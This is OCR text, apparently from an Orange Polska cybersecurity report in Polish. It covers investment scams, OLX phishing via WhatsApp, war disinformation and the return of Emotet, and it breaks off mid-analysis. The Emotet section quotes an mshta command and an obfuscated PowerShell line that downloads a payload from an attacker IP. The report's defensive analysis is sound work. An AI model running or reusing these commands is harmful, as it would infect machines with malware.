Oficjalna zgoda Ministerstwa Finanséw na dziatalnos¢ platformy
Millennium Bank w Polsce

'L:I

.
Roscipopolia Flts
Ministerstwo Finansow
% $

: : Centyfikat

2=
warunkaem, f
= wie)

J
A

& 2 B
L ENINIC AT N

R ]

<R

Skoro platforma ma prawo do dziatania:

»pod warunkiem, ze wszyscy Polacy majg

do niej dostep” i ma certyfikat z numerem

z 2014 roku, to bez problemu! Wzrok juz nie ten,
moze gdybysmy zobaczyli, ze na dole widnieje
pieczatka Przewodniczacego Panstwowej Komisiji
Poswiadczania Znajomosci Jezyka Polskiego
jako Obcego, sytuacja wzbudzitaby w nas jednak
pewien niepokdj...
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Podsumowanie

Kazdy z nas przynajmniej raz w zyciu dat sie

oszukac lub przynajmniej byt bardzo tego blisko.

W tym nieco zartobliwym tonie chcieliSmy pokazaé
socjotechniczne mechanizmy, jakie rzadzg naszymi
umystami, gdy dajemy sie przekonaé do tak szemranych
sinwestycji”. Lubienie i sympatia, reguta autorytetu,
regufa niedostepnosci (jeszcze tylko jedno wolne miejscel),
czy tez reguta zaangazowania i konsekwenciji, gdy widzac
coraz wiecej czerwonych flag brniemy konsekwentnie

w bagno. Bo wierzymy, ze to jednak prawda?

Bo nam gtupio przed samymi sobg?

O Nie wierz nigdy szczegolnie
= Wyjatkowym okazjom.

Z zalozenia. Czytaj doktadnie wszystko,

co znajdziesz na stronie, probujacej Cie przekonaé¢
do siegniecia do portfela. Adres (pamietaj, zaczynaj
»0d tylu” - domeny w stylu .xyz, .site i tym podobne
traktuj z zasada ekstremalnie ograniczonego
zaufania, tym bardziej, gdy w nazwie maja

tez np. znana instytucje finansowa.

Szukaj informacji o instytucji
finansowej (lub ja udajacej) zanim
& podasz jakiekolwiek dane
(a tym bardziej zanim przelejesz pieniadze).
Ostrzezenia przed wiekszoscia ,,gietd kryptowalut”
bez problemu znajdziesz w sieci.

O Czytaj tres¢ strony.

W | szukaj w niej sensu.

Nie zajmie Ci to wiele czasu, a skupiwszy sie na tym
wytapiesz frazesy z podrecznika: ,,Marketer ptakat,
jak wymyslat”. Biedronka dzielaca ,,zasoby naszego
kraju” to zwrot wyjatkowo absurdalny.

No i btedy ortograficzne, ktérych wbrew pozorom
znajdziesz na takich witrynach sporo.

Nie warto ryzykowac.

Michat Rosiak
Cyberbezpieczenstwo Orange Polska

Oszustwa ,,na OLX?”,

czyli nie kupuj przez WhatsApp

40 tysiecy ztotych. Tyle dziennie potrafi zarobi¢ oszust,
wysytajacy fatszywe oferty kupna do sprzedajgcych

na OLX. Skad o tym wiemy? Stad, ze jeden z naszych
kolegbéw zdotat przekonaé osobe po drugiej stronie

do takich wynurzen. Do tej pory kazdy przestepca,
wiedzac, ze ma do czynienia z badaczem, milczat,
blokowat rozméwce lub nawet usuwat konto.

Dlaczego akurat WhatsApp?

Gdy tylko wystawimy cokolwiek w ulubionym serwisie
nie tylko sprzedajacych, ale i oszustéw, mozemy

by¢ niemal pewni, ze odezwie sie do nas kto$ przez
komunikator WhatsApp. Pewni tak bardzo, ze pare
razy wystawiajgc na wabia oferty dostawali$my

w ciggu kwadransa kilka do kilkunastu pytan

przez komunikator!

Czemu przez komunikator? Przede wszystkim dlatego,
ze to niezalezny kanat komunikacji, niekontrolowany
przez wtasciciela serwisu. Chcgc podszy¢ sie pod
kogo$ w OLX (czy tez rzadziej uzywanych przez oszustow
Allegro Lokalnie, czy Vinted) musimy zatozy¢ konto,
najlepiej przeprowadzi¢ kilka transakcji, zebrac
pozytywne opinie... A to wszystko po to, by jednej
stransakcji” (albo nawet w jej trakcie) trafi¢ na blokade.
Staby interes. Przeciez mozna zatozy¢ nawet przeszto
100 (czasami blisko 200) domen jednego dnia,

a numery telefonéw nie tak tatwo zablo... A nie, przeciez
one sa zablokowane. Wiekszo$¢ numerdw z Orange
Polska, ktérymi positkujg sie oszusci ma w naszych
systemach juz od dawna flage ,,Fraud”. Pomimo tego,
zarejestrowane w komunikatorach typu WhatsApp

sg caty czas aktywne.

Schemat ataku ,,na kupujacego”

Boty oszustéw monitorujg na biezaco serwis,

wytapujac przedmioty wystarczajgco (ale tez
nieprzesadnie) drogie, oraz takie, ktore nie zmieszcza
sie do paczkomatu. To ostatnie to klucz. Gdyby towar
miescit sie do paczkomatu, chyba kazda z potencjalnych
ofiar powiedziataby, ze wysle paczkomatem.

A tak — oszust moze dobrodusznie zaproponowac,

ze wysytke zorganizuje na swoj koszt (magiczne

stowo), kurierem.

(InPost @ o ¢ Szczegoty operacji

Jak zaméwic¢ kuriera dla towaréw *jli? [v)E‘B:‘Ilij .
wielkogabarytowych? 44(.) 3213283

D 1. Kupujacy tworzy zaméwienie
na stromie internstowe InPost
I plach za towar + presythg.

Kwota
-100,00 PLN

Data operag)i

e 2. InPost daje kupujacemu unikalny 01.07.2021
= link do odbioru pienigdzy.
Transakcja
3. Sprzedawca Kika na link, kidry ZAKUP PRZY UZYCIU KARTY
wysyla mu kupujacy | otrzymuje
na swojy kartq Opis
OPLATA TOWARU | DOSTAWY INPOST
4. Po otrzymaniu pleniqdzy, kurier Nazwa odbiorcy
skontaktujo sig 20 spraedajacym, st
pakisje | odblera towar. INPOST
Saldo po operac)
=

Typ transakcji

Ptatnosc kartg

— Data waluty
01.07.2021

Faktycznie, w InPost mozna zamoéwi¢ takiego kuriera,
ale prawdziwa strona wyglada inaczej. Nie ma na niej
mowy o linku dla kupujacego, gdzie musi wpisa¢ dane

karty, a screen rzekomej wptaty jest oczywiscie fatszywy.

W niektérych schematach mamy tez do czynienia
Z nieco inng wersja:

Prosba o glp

Kiedy otrzymasz od Kupujacego prosbe o zakup z wysylka, masz 24 godziny na zaakceptowanie lub
Jego Ty jesz czy i komu wysylasz przedmiot! Aby zaakceptowad prosbe
przejdz link do potwierdzenia sprzedazy | kiiknij Odebraé Srodid

akirks bokow w kawiaty ‘ s
= s mamesc ,7‘ -

"
i i e s e S

Jak nastapi wysytka towaru? Kupujacy placi za przedmiot Po otrzymaniu $rodkéw Operator OLX
skontaktuje si¢ z Tobq, wybierz wygodng opcje dostawy - Paczkomat lub kurier. Wizystkie opcje wysylki 53
dia ciebie bezptatne.

niego jedynie opcja przesylii, ale ofertg nalezy zakoficzyé samodzielnie. Niezaleznie do tego w jakim
momencie to zrobisz, nie wplynie to na przebieg transakcji.
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Co sie stanie, jesli nie zorientujemy sie, ze cos jest
nie tak? W kolejnych krokach pojawi sie formularz
do wpisania danych karty ptatniczej. Wyjatkowo
szczegbtowych — z datg waznosci i kodem CVC/CVV.

Jan Kowalski PRZYJECIE FUNDUSZY
Dostawa kurierska
1234 5678 9012 3456 I
O)x

12/40

DOSTAC

230 PLN

Faktycznie, tych wszystkich danych uzywamy

przy zakupach w sieci. Ale zakupach — nie zwrotach.
Autorowi zdarzyto sie raz w zyciu dostac¢ zwrot pieniedzy
na karte, ale miato to miejsce przy oddawaniu przedmiotu
w sklepie stacjonarnym. Wiedy nie spuszczatem

z oka sprzedawcy, ten wtozyt karte do terminala,

a kwota pojawita sie na koncie nastepnego dnia.

Dlaczego tapiemy sie na proste
oszustwo?

Tak duza liczba ofiar (40 tysiecy ztotych u tylko jednego
soperatora”!) dowodzi, ze internauta dajgcy sie oszukac,
to niestety nie taka rzadka sytuacja. A dlaczego tak sie
dzieje? To miks coraz bardziej wyrafinowanej socjotechniki
oszustéw i wcigz niefrasobliwosci ofiar.

Warto zwrécié¢ uwage na drobne szczegéty, ktére sktadaja
sie na to, ze fatwiej nam zaufa¢ napastnikowi.

‘_-( » . 3 : L L b
+48 236 204 FA80092712 621

Kooto firmy 2 0] Wytisz powiadomienia o
Whasoe powlsdormenia
+48 510236 204 ¥ L.
Miltimedia w galeni
L
Inikajgoe windomodel o
o» Odriet "
Sryfeowanie

Muttienecia, ki | dokeumenty . W . a

» o

< neva Numrer Selefony

| (o) < /] Q <
Obrazki profilowe na kontach oszustéow sa niczym

hollywoodzkie filmy (ewentualnie Instagram). Niemal
w kazdym przypadku sa na nich kobiety, nigdy
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nie trafiliSmy na taka, ktérej nie datoby sie okresli¢ mianem
stadnej”. Jak wskazujg badania, osobom odbieranym jako
tadne podswiadomie bardziej ufamy. A kiedy do tego na
obrazku jest uroczy, bawiacy sie mtodzieniec? Bingo!

Kolejna sprawa to kupujacy, bioragcy na siebie zatatwienie
wszystkich formalnosci, a na dodatek wysyike. Ztoty
cztowiek po prostu! Co wiecej, podktadane przez nich
strony sg praktycznie blizniacze z oryginalnymi. A poniewaz
mdwimy o markach, ktére przez lata zyskaty popularno$é

i zaufanie Polakow, po raz kolejny podswiadomie ufamy
temu, co jest do nich podobne. To - co juz opisywali$my
kilkakrotnie w naszym Raporcie - cecha naszego moézgu,
ktéry w zalewie informacji bardzo wczes$nie odsiewa

to, co uzna za nieistotne.

Ze nie wspomnimy o rado$ci, ze rzecz, ktérg wystawilismy,
sprzedata sie tak szybko i bez negocjaciji.

Kto za tym stoi?

Przestepcy zza naszej wschodniej granicy, w zasadzie
nie udato nam sie znalez¢ jakichkolwiek, ktére by temu
zaprzeczaty. Poczawszy od sladéw infrastrukturalnych,
skonczywszy na... jezyku, ktérego uzywaja. Jesli uda sie
Wam sprowokowac atakujgcego do rozmowy, chocby
dajgc do zrozumienia, iz wiecie, ze macie do czynienia

z przekretem, jego do tej pory niezta polszczyzna nagle
Ltapie” mndstwo wschodnich naleciatosci. Podobnie

w przypadku, gdy sprowokujemy ,konsultanta obstugi
klienta”. Tak, tak — spora cze$¢ uzywanych przez oszustéw
narzedzi ma rowniez funkcje czatu z ,konsultantem”.
Skad zatem u nich catkiem niezta znajomos$¢ jezyka
polskiego podczas normalnej rozmowy? Ano stad:

text

@pronovao « December 13,2020

Witam! Pisze do Ciebie w sprawie Twojej ogloszenie na OLX. Mam kilka pytan.

3apascrsyiite! f nuuy BaM o BaieMm ofbsiB/eHnH Ha OLX. Y MeHs eCTb HeCKO/IBKO
BOITPOCOB.

Witam, jeszcze aktualne?

TIpuBer, Bce elije aKTyanbHO?

dtugo uzywany?

AABHO ucm D}]l:ByETCﬂ?

Dzien dobry, znalaztam Twoje ogloszenie na OLX

Jlo6poe yTpo, 5 Hauina Baie 06bseeHue Ha OLX

Witam, bardzo zainteresowala mnie Twoja oferta na olx

3/paBCTBYyiiTe, MeHs OueHb 3aMHTepecoBasa Baulla nybimkarus Ha olx

Wyglada na to, ze oszusci sa zdania,

iz nieuczciwych zarobkdéw wystarczy dla wszystkich
i na szeregu stron (my w ciggu godziny znalezli$my
trzy) dzielg sie wiedza, publikujac specyficzny rodzaj
stownika rosyjsko-polskiego.

Nie ma problemu, jesli ofiara dziata wedtug
zaplanowanego skryptu, odpowiadajgc zgodnie

z oczekiwaniami oszusta. W przeciwnym przypadku
(albo jesli bot wybierze nieodpowiednig aukcje)
moze zrobi¢ sie catkiem zabawnie:

Dzier dobry. Czy ogtoszenie jest dalej
aktualne? https://www.olx.pl/d/oferta

20:37

Czatujesz z kontem firmy. Dotknij, aby dowiedzie¢ si¢
wiegcej.
Dzisiaj
Witam, tak 1555 .~

Wszystko mi pasuje. Mozemy zatatwic to
przez OLX? 17:31

Tzn? Nie korzystatem z tego 150 .~
olx dostawa 175

Preferuje odbiér osobisty. Jesli wysylka
za pobraniem, wysylam po otrzymaniu
kosztéw wysytki i pakowania 17:56 W

Kije Golfowe sg za diugie nato 1755

Do 64cm sg paczki z tego co czytam
17:59 W/

Powiedziat pan, ze zostat pan oskarzony
18:05

Dobra, wyslij juz tego linka z phishingiem
szkoda mojego czasu jak nawet nie
umiesz z translatora korzysta¢ 1505

Dom w gérach sauna basen
zewnetrzny plac zabaw .
OLX.pl...

www.olx.pl

Witam, ogloszenie jest aktualne?
https://www.olx.pl/d/oferta/dom-w
-gorach-sauna-basen-zewnetrzny-plac
-zabaw .html

tak .

Super, chce to kupi¢ ;¢

Moze by¢ wysytka do Ktodawy przez
kuriera InPostu? (

Pan wie jak dziata ta dostawa? . -,

ok juz wzywam ekipe wyburzeniowa
zburze dom spakuje do walizki i
wysytam 06

Gorzej, jesli jednak damy sie ztapaé. Wtedy robi

sie mniej zabawnie. Dlatego, jesli znacie kogos,

kto potencjalnie moze dac sie przekonac oszustowi

- warto pokaza¢ mu ten materiat, a najlepiej caty raport.

Jak nie dac sie oszukacé?

Tutaj akurat odpowiedz jest prosta.

Sprzedajesz za pomoca

O serwisu X, Y, czy Z? Kontaktuj
sie z kupujacymi wylacznie przy
uzyciu interfejsu tegoz serwisu.

Nie zaszkodzi tez przy kazdej transakcji
finansowej upewnic sie, czy na pewno adres
strony jest wiasciwy. Pamietaj - domene
czytamy od tytu. Jesli adres nie konczy sie
na .pl, czy .com - warto zdwoi¢ (a nawet
zmultiplikowac) nasza czujnosé.

Nie dajmy im na nas zarabiac.

Michat Rosiak
Cyberbezpieczenstwo Orange Polska
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Dezinformacja zdominowata media

- jak jej uniknac?

Staliscie na poczatku wojny w Ukrainie w kolejce po
benzyne? ChodziliScie od pustego do pustego bankomatu?
Fatszywe wiadomosci od poczatku historii ludzkosci byty
jednym z istotnych narzedzi wojny, ale dopiero media
spotecznosciowe i powszechny dostep do internetu
uczynity z dezinformaciji potezng bron. Nie tylko w rekach
stron konfliktu. Obie chcg przeciggnaé na swojg strone
rzad internetowych dusz, ale przede wszystkim wywotac
FUD (Fear, Uncertainty, Doubt — strach, niepewnos$é

i zwatpienie) wsréd wojska i ludnosci cywilnej wroga.

No i - co dla nas najwazniejsze — wzbudzi¢ zamieszanie i nie-
pokoj wsrod mieszkancow panstw graniczacych z konfliktem.
A korzystajgc z okazji chca sie tez dorobi¢ pospolici oszusci.

Kolejki na stacjach

Zdjecia i doniesienia medialne z poczatku konfliktu w Ukrainie
dowodzity, iz wielu Polakéw dato sie przekonad, iz istnieje ryzyko,
Ze zabraknie paliwa i gotéwki, co gdzieniegdzie zaowocowato
wielkimi kolejkami przy dystrybutorach i bankomatach.

Skad te informacje? Z Twittera i Facebooka, czego

dowodzi m.in. analiza Instytutu Badan Internetu i Mediéw
Spotecznosciowych, z ktérej pochodzi ponizsza grafika.

"BRAK PALIWA"

01:00 02:00 03:00 04:00 05:00 06:00 07:00 08:00 09:00 10:00 11:00 12:00 13:00 14:00 15:00 16:00 17:00

Poczatek wzmianek, wczesnym rankiem, gdy Polacy
zapoznajg sie z informacjami z Ukrainy, ze szczytem podczas
powrotéw z pracy. Wg ekspertéw IBIMS to dzieto przynajmniej
3 zorganizowanych grup, dziatajgcych w mediach
spotecznosciowych, prowadzgcych jawnie prorosyjska
narracje. Doktadajac do tego zyskujace w tamtych dniach
btyskawicznie popularno$¢ w sieci zdjecia z pojedynczych
stacji benzynowych (ktore faktycznie upatrzyly szanse na
szybki zarobek, podnoszac ceny nawet do 9,99 PLN/Iitr)
mamy efekt wymarzony dla dezinformatoréw!

Warto zaznaczyé, iz zorganizowane grupy trolli konsekwentnie
kolportujg w sieci réwniez antyukrainskie tresci. Nie tylko

te bazujgce na historycznych resentymentach, trafiajgce

na podatny grunt dzieki algorytmom mediéw spoteczno-
$ciowych. Réwniez te oficjalne, rosyjskie, ttumaczace
rzekoma konieczno$é ataku na ,neonazistowska” Ukraine.
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Sprawdz pochodzenie zdjecia/filmu!

Szukajac informaciji dotyczacych nie tylko wojny (ale to
o0 niej dzisiaj méwimy przede wszystkim) upewnijcie sie,
skad pochodza zdjecia).

TVPM Poiska S$wiat Pekin2022 Wideo Opinie Pogoda ~ TWOEINFO Wige f -«
—

Piec rosyjskich samolotéw i helikopter
zestrzelone na wschodzie kraju

MD,MG @ 24.02.2022.07:20 / aktualizacja: 07:51

s (D O @
Copy formatting rom one location and apply i & ancther | m

w13 Putin: historia rosyjskiego szpiega’.
TVP zmienia ramowke

ot Wikurzony” dowodea
Bundeswehry: Niemiecka armia
bezradna wobec wojny na Ukrainie

1259 Rozbit g ukrairiski samolot
wojskowy. S3 ofiary

152 Johnson: Toatak nie tylkona
Ukraing, ale na demokraci¢ na
swiecie

547 Ukraifiska rezerwistka: Nie
‘obawiamy si wojny, bo jestesmy
gotowi umrze¢ zakraj

H

W Nawschodzie Ukrai it 6wi (fot. Twitter)

W obwodzie tugarskim na wschodzie Ukrainv zestrzelono

“ DONALD e

Ukraincy twierdza, ze zestrzelili juz sze$¢ samolotow,
$migtowiec i zniszczono cztery czotgi

24022022,1045

ATAKNAUKRAINE  ROSJA  UKRAINA

[+ v Nl

Nie twierdzimy, Ze cytowane serwisy miaty w planach sia¢
dezinformacje. Mozna wini¢ cheé jak najszybszej publikaciji
i zmore dzisiejszych czaséw, czyli niesprawdzanie zrédta.
Pierwsze zdjecie to katastrofa chifiskiego Su-35 z 2020
roku, drugie zas zostato zrobione 7 lat temu, podczas
poprzedniej wojny w Ukrainie.

Strach potezna bronia

Sytuacja, gdy obie strony publikujg w sieci zdjecia

i filmy zniszczonych pojazdéw wroga, jest oczywistoscia

od lat. Rdznica jest tylko w tym, ze obecnie do takich
fotografii tatwiej dotrze¢. W sprawdzeniu rzetelnosci
informacji pomoze na pewno szukanie jej w réznych
zrédtach. Przyda sie tez analizowanie, czy przypadkiem
to samo zdjecie z kilku perspektyw nie jest
umieszczane w sieci jako opisujgce rézne sytuacje.
Przyktadem doktadniejszej analizy jest sytuacja opisana
na kanale Realnaya Voyna na Telegramie. To dobry
przyktad fact-checkingu i natychmiastowej zmiany
tresci, gdy okazata sie dezinformacjg. Notabene
bazujgc na doswiadczeniach z ostatnich dwdch

dni mozemy poleci¢ to zrodio jako rzetelne.

s PeanbHas BoiHa 4

t.me/voynareal

Na trzech opublikowanych w jednej wiadomosci
filmach widzimy do$¢ niezborng kolumne
uzbrojonych ludzi, z opisem, iz mamy do czynienia
z grupa znanych z wyjatkowych brutalnosci
Czeczencow, ktdrzy rzekomo maja ,rozprawié

sie z mieszkancami Kijowa”.

Godzine pdzniej pojawita sie nowa informacja:

8 PeanbHas BoitHa
PeanbHas BoilHa

|. Video
o Audio

1 3TO ®EMK. YeueHubl COOBLLAIOT, 4TO BUAEO C AKOBbI
NOArOTOBNEHHLIMU K OTNPABKE B YKPauHy KaablpoBuaMm — deiik.

J1NA MaccoBKu COBMpani Jaxe y60pLLMKOB U OXPaHHUKOB, YTO6bI
€03[aTb KPAaCUBYH KapTUHKY.

B 06111em, NOHTbI C CaMOro AeWEBOro CeKOHA-XEHAA.

B KauecTBe NOATBEPXKAEHUA AEPIKUTE rONOCOBOE HALLEro

noAnucHKKa 1859K @ 1447

,» 10 fake. Czeczenicy informujg, Ze to nie sg ludzie
Ramzana Kadyrowa. To zebrana grupa losowych
ludzi, ubranych w ciuchy z najtariszego second
handu, zeby obrazek tadnie wygladat”.

Warto tez pamietac — to jednak tyczy sie osob
przeby-wajgcych na terenie konfliktu zbrojnego

- by nie publikowac w sieci zdje¢ wiasnych sit zbrojnych!
Smartfony domysinie taguja miejsce, w ktérych fotografie
zostaly zrobione. Jesli ktokolwiek mysli, ze cyberwojska
wroganie szukajg w sieci takich zdjeé, jest naiwny.

A ten SMS mdwi sam za siebie...

Ukrainian soldiers in the Ukraine's JFO Zone are
"receiving SMS messages that Russia is going to defeat
their army in two days"
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https://ibims.pl/komunikat-ws-prorosyjskich-grup-prowadzacych-dzialania-dezinformacyjne-25-02-22/
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Co dzieje sie dalej? Klasyczne podszycie pod istniejgce Co robi é')

Oszust zawsze znajdzie okazje ) . = PEERAEE
medium, a nastepnie sugestia, iz zdjecie jest tak
tle jest wojna w Ukrainie. Po drugie — wykradzione O

Zwykty phishing przy powyzszych tematach
wydaje sie byé btahostka, ale z co najmniej dwéch do Facebooka.

drastyczne, ze trzeba je zweryfikowaé logowaniem
powododw jest réwnie istotny. Po pierwsze — w jego
w ten sposéb loginy i hasta do serwiséw —

spotecznosciowych moga stuzy¢ do dalszego 1 = Znajdz wiarygodne zrodta

F m AKTUALNOSCI ~ POLITYKA SPORT~ PIRKANOZNA CELEBRYCI TV&FILMY BIZNES WIECEJ -
ez

&= Przy informacjach w serwisach

szerzenia dezinformaciji.

Sposbb ,na emocjonalng wrzutke na Facebooku”

znamy juz od lat, z tg réznicg, ze do tej pory
wykorzystywana byta do atakéw typu:
,wypadek celebryty”, czy ,porwanie dziecka”.
Oszusci potrafig btyskawicznie dostosowacd
sie do sytuacji geopolitycznej. Z tg réznica,

Ze bez dostepu do zdje¢ moga uzywac starych,

w tym przypadku faktycznie zwigzanych
z Rosjanami, ale z zupetnie innego miejsca:

@ i

o [EFENGE - ARMAVENT - WLITARY
Accuenl

Eriad AFP@

Rechercher sur Ia carte

L
Resscoon Faver Q, Russia test launches nuclearcapable missiles
P——

Zacan yprsnk
18Py 2022 MAGES.
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OBEJRZYJ FILM:

na konkretny temat. Jesli

trzeba, poswiec¢ czas na
weryfikacje publikowanych

przez nie wiadomosci.

Obecnie, szczegolnie w sytuacjach tak
istotnych jak konflikt zbrojny, znalezienie
kilku zrédet nie powinno stanowi¢ problemu.
Jesli jedna strona informuje o zajeciu miasta,
zas$ druga publikuje zdjecia swoich wojsk

na rogatkach - cos jest nie tak.

Co moze oznaczacé, ze mamy
do czynienia z dezinformacja?

B Sensacyjna wiadomos$¢ w mediach spotecznosciowych, O
ktoéra idealnie wpisuje sie w Twoj —
Swiatopoglad/oczekiwania
m To dzieki algorytmom, profilowaniu

i ,oankom poznawczym?”.

Nie ufaj grupom na Facebooku,
czy filmom na Youtubie, jesli

nie masz pewnosci, co do zrodia.
Te informacje bardzo tatwo
zmanipulowac. Korzystaj

z rzetelnych, sprawdzonych zrédef!

Q

= Wiadomos¢ wpisujgca sie w obecne trendy
popularnosci, podobnie jak phishing, wywotuje
w nas duze emocje.
= Emocja = szybka reakcja. Szybka reakcja = polubienie
lub przestanie dalej.

Na Twitterze znajdz konta
ekspertow/analitykow, najlepiej
os0b, ktore sa na miejscu.

Uwazajcie na siebie w sieci. Jesli czujecie, ze to, co dzieje
sie za naszg wschodnig granica, nattok informacji Was
przerasta — wytagczcie social media, zostawcie telefon

w domu, wyjdZcie na spacer.

Michat Rosiak
Cyberbezpieczenstwo Orange Polska

Q

Y

to za naprawde wazne.
Ogranicz szum informacyjny.
Nie kieruj sie emocjami.

spotecznosciowych zacznij od
spojrzenia w komentarze - mozesz
w nich znalez¢ potwierdzenie

lub zaprzeczenie informacji podanej
w gtéwnej wiadomosci.

Nie podawaj dalej
niesprawdzonych informac;ji.

= Weryfikuj nadawce informaciji.

Konta anonimowe, z mata iloscia
obserwujacych, zatozone chwile
wczesniej, czy tez przekazujace/
retweetujace wczesniej jedynie
kontrowersyjne tresci nie powinny
by¢ traktowane jako rzetelne.

Sprawdzone informacje podawaj
dalej tylko wtedy, gdy uwazasz
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Artykuly ekspertow CERT Orange Polska

Powrot Emoteta, czy Dridex
po howemu?

Zacznijmy od wyjasnienia, czym tak naprawde jest Emotet?
To bardzo rozbudowane i wyrafinowane narzedzie, skupiajace
sie przede wszystkim na kradziezy danych logowania do
bankowosci elektronicznej. Dodatkowo daje on przestepcy
mozliwos$¢ instalowania dowolnego ztosliwego modutu,
potrafi takze wykradac tresci e-maili oraz zawarto$é

ksigzek kontaktowych.

Pierwszy raz zostat wykryty w 2014, gdy sklasyfikowano
go jako trojana bankowego. Wtedy to szkodliwe
oprogramowanie atakowato gtéwnie banki z Niemiec

i Austrii, korzystajac wytgcznie z modutéw stuzgcych

do kradziezy informaciji. Niedtugo potem, w 2015 r.,
pojawita sie druga wersja, zawierajgca kilka kolejnych
modutéw, stuzgcych do przesytania pieniedzy, spamu
pocztowego, atakow DDoS, czy wspominanej kradziezy
ksiazek adresowych. Przetomowg datg dla Emoteta stat
sie rok 2016, gdy zmienit sie wektor ataku. Dotychczas
opierat sie on na zestawie exploit kitow RIG 4.0,

by zmieni¢ sposdb rozpowszechniania na spam pocztowy.

Kolejna istotna data to rok 2017, gdy wirus zostat wyposazony
w dwa dodatkowe moduty. Pierwszy stuzyt do propagowania
sie w sieci i infekcji wszystkich maszyn potaczonych za posred-
nictwem sieci lokalnej. Drugi — do wykradania skrzynki
adresowej i dodatkowej korelacji powigzan miedzy nadawcami
i odbiorcami wiadomosci. Informacje byty przydatne

do zwiekszenia skutecznosci kolejnych automatycznych
kampanii, pochodzacych tym razem juz z zainfekowanego
komputera uzytkownika, wysytanych do jego przyjaciot,

czy wspdtpracownikdéw. Emotet przez caty okres swojego
istnienia bardzo ewoluowat, zostat réwniez przeksztatcony

w ustuge dystrybucji ztosliwego oprogramowania.

Co sprawia, ze wirus Emotet
jest tak niebezpieczny?

Ma on konstrukcje polimorficzng — co oznacza, ze moze
zmieni¢ swoj kod, aby omijaé wykrywanie oparte

na sygnaturach, co czyni te strategie obrony totalnie
bezuzyteczng. Wirus otrzymuije takze aktualizacje z serwera
sterujgcego Command&Control (C&C, C2), interpretowane
przez system jako aktualizacja systemu operacyjnego.
Takie dziatanie pozwala Emotetowi potajemnie umieszczaé
dodatkowe ztosliwe oprogramowanie na zainfekowanej
maszynie. Z natury wirus wstrzykuje sie do uruchomionych
proceséw, pobiera dodatkowe moduty, czesto atakujac
plik Explorer.exe. Oprécz tego ztosliwe oprogramowanie
wprowadza zmiany w kluczu rejestru systemowego.
Gtéwnymi celami Emoteta sg komputery rzgdowe, korpo-
racyjne, matych firmy oraz oséb prywatnych, skupiajac
swoje dziatanie na Europie, Ameryce oraz Kanadzie.

Na terenie Polski po raz pierwszy zaobserwowali$my

56

go w pazdzierniku 2019. Pierwszy wektor kampanii polegat
na kontynuacji konwersacji z domniemanym nadawca,
z zatgczonym ztosliwym plikiem.

RE: RE: Bledne dane w zleceniu: KR
2019-08-30; strefa: KRAKOW

2019, ; termin zamkniecia:

*kierownik [ ) _Krakéwﬁbreria.ta@paoline.ita
Wystano pon. 30.09.2019 15:50
Do Y
Zaenict @o&am_sosms_ao_os_zow,@
PR
Witam, =

Do 13 wrzesnia chciatbym od Panéw otrzymac informacje zwrotna tj. uwagi do mojej
propozycji.

Pozdrawiam serdecznie,
*kierownik Krakow

Drugi sposéb ataku to niebudzaca podejrzen wiadomos¢,
otrzymana od ,znanego nadawcy”. Skad cudzystéw? Stad,
ze w ponizszym przypadku przestepca siegnat po starg
sztuczke. Rzekomy adres nadawcy umiescit jako nazwe
uzytkownika liczac, ze ofiara nie doczyta do konca wiersza,
gdzie jest juz zupetnie inny adres.

Od: D Mirostaw - <Miroslaw.D
Do: K Krzysztof

DW:

Temat: brakujace wnioski

@orange.com> ‘oﬁaﬁons @'ﬁeshhandling.com’

Dzieri Dobry Paristwu,

Tym razem z zatacznikiem

Z powazaniemD Mirostaw -

Oczywiscie w obu przypadkach jako zatgcznik znajdowat
sie plik *.doc lub *.rxx (gdzie xx to dwucyfrowa liczba)
docelowo instalujgc Emoteta. Na szczescie wszystkie
proby potaczen zainfekowanych komputeréw do C&C tego
wirusa zostaty powstrzymane przez CyberTarcze.

W styczniu 2021 roku wszyscy mogli odetchna¢ z ulga.
Serwery Emoteta zostaty w korcu przejete i wytaczone
przez organy $cigania. Przeprowadzono to dzieki wysitkowi
ekspertow ds. bezpieczenstwa, ktdrzy potaczyli swoje sity
oraz przejeli setki serweréw dowodzenia i kontroli botnetu,
zaktdcajac przy tym tworzenie kopii zapasowych przez
cyberprzestepcéw. Badacze umiescili wiasne maszyny pod
adresami IP komputeréw oszustdw, aby uniemozliwi¢ z
nimi potgczenie. Czyli wszystko w porzadku, mozemy spacé
spokojnie? Niekoniecznie...

Emoteta (czy aby na pewno?)
niechlubny powrot

Mineto bowiem 11 miesiecy i tak jak rok 2021 zaczat

sie od Emoteta, tak tez sie nim skonczyt. Witasnie

pod koniec roku CERT Orange Polska zauwazyt w swojej
sieci wzmozong jego aktywnos$¢. Wektor sie nie zmienit,

dalej wykorzystuje wiadomosci e-mail, tym razem
jednak przesyta link nakfaniajgcy do klikniecia
oraz pobrania pliku Excel.

<annieb@primeequipment.co.tt>

I l Dispute - Orange Polska - invoice 2474721

Attached is an important Excel document: http-//orange com/Orange

Best Regards

Miejsca w jakich zostaty umieszczone ztosliwe pliki XLSM
to przewaznie przejete wczesniej systemy CMS typu
Wordpress oraz inne zhakowane serwery. Po pobraniu
omawianego pliku oraz uruchomieniu go w systemie
Windows zawarto$¢ dokumentu wygladata nastepujgco.

1 o

Jesli ofiara da sie ztapaé na socjotechniczng sztuczke,
malware wywotuje powioke systemowa, a w niej polecenie:

cmd /c mAshAtNa h tthp/:/N0xb907d607/c c.hAtmA
Kolejnym krokiem probki jest uruchomienie powtoki
PowerShell z lekkim zaciemnieniem linii kodu, ktory

ostatecznie pobiera ztosliwy plik z docelowego adresu:

http://185.7.214.7/PP91.PNG

“C:\Windows\System32\WindowsPowerShell\v1l.0\
powershell.exe” -noexit $cl=’ ({GOOGLE} {GOOGLE}
Ne { GOOGLE } { GOOGLE } w{ GOOGLE } -Obj { GOOGLE } ec { GOOGLE }
{GOOGLE}t N{GOOGLE} {GOOGLE}et {GOOGLE} .W{GOOGLE}
{GOOGLE}e’ .replace (‘{GOOGLE}", ‘');
$cd="DbC{GOOGLE}1i{GOOGLE} { GOOGLE }en{GOOGLE }
{GOOGLE}t) .D{GOOGLE} { GOOGLE } ow { GOOGLE } { GOOGLE }
nl {GOOGLE} { GOOGLE} { GOOGLE}o’ .replace ( ‘*{GOOGLE}’,
V) ; $c3="ad{GOOGLE} {GOOGLE} St {GOOGLE}
rin{GOOGLE} { GOOGLE }g{GOOGLE} (‘' ht { GOOGLE}
tp{GOOGLE}://185.7.214.7/PP91.PNG’ ") " .

replace (*{GOOGLE}’, ‘');$JI=($cl,$c4,$c3 -Join
VV);ITETX $JINITE'X

Przy szczego6towej analizie nowej kampanii Emoteta nasunety
sie nam jednak pewne wnioski. Okazato sie, iz z uzywanych
w niej serweréw Command&Control jeszcze do niedawna
